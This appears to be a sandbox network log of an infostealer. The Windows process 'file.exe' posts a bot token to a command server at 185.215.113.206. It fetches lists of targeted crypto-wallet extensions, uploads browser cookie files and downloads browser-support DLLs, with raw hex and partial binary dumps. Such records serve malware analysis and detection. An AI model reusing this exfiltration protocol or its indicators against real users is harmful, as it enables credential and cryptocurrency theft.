Nov 26, 2024 08:03:16.428565979 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 26, 2024 08:03:16.430160046 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
Nov 26, 2024 08:03:16.886956930 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 08:03:16.904375076 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.215.113.206 Content-Length: 7119 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 08:03:16.904438019 CET	7119	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 08:03:17.894098997 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:18.141103029 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:18.596570015 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 26, 2024 08:03:18.596611023 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49727	185.215.113.206	80	2156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:03:27.967955112 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHCAAEBKEGHJKEBFHJDB--
Nov 26, 2024 08:03:29.867718935 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:29.976548910 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file"------JDGIIDHJEBGIDHJJDBKE--
Nov 26, 2024 08:03:30.923301935 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49747	185.215.113.206	80	2156	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:03:37.263179064 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 08:03:37.263231993 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 Data Ascii: ------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 26, 2024 08:03:38.955570936 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:39.356952906 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Nov 26, 2024 08:03:40.315140009 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 08:03:40.885997057 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:41.342843056 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 08:03:41.342854023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 26, 2024 08:03:41.342861891 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 26, 2024 08:03:41.342904091 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 26, 2024 08:03:41.342911959 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 26, 2024 08:03:41.342924118 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 26, 2024 08:03:41.342931032 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 26, 2024 08:03:41.343033075 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 26, 2024 08:03:41.351208925 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 26, 2024 08:03:41.351301908 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 26, 2024 08:03:43.166205883 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:43.622302055 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 08:03:44.604986906 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 08:03:45.061338902 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 08:03:45.755486965 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
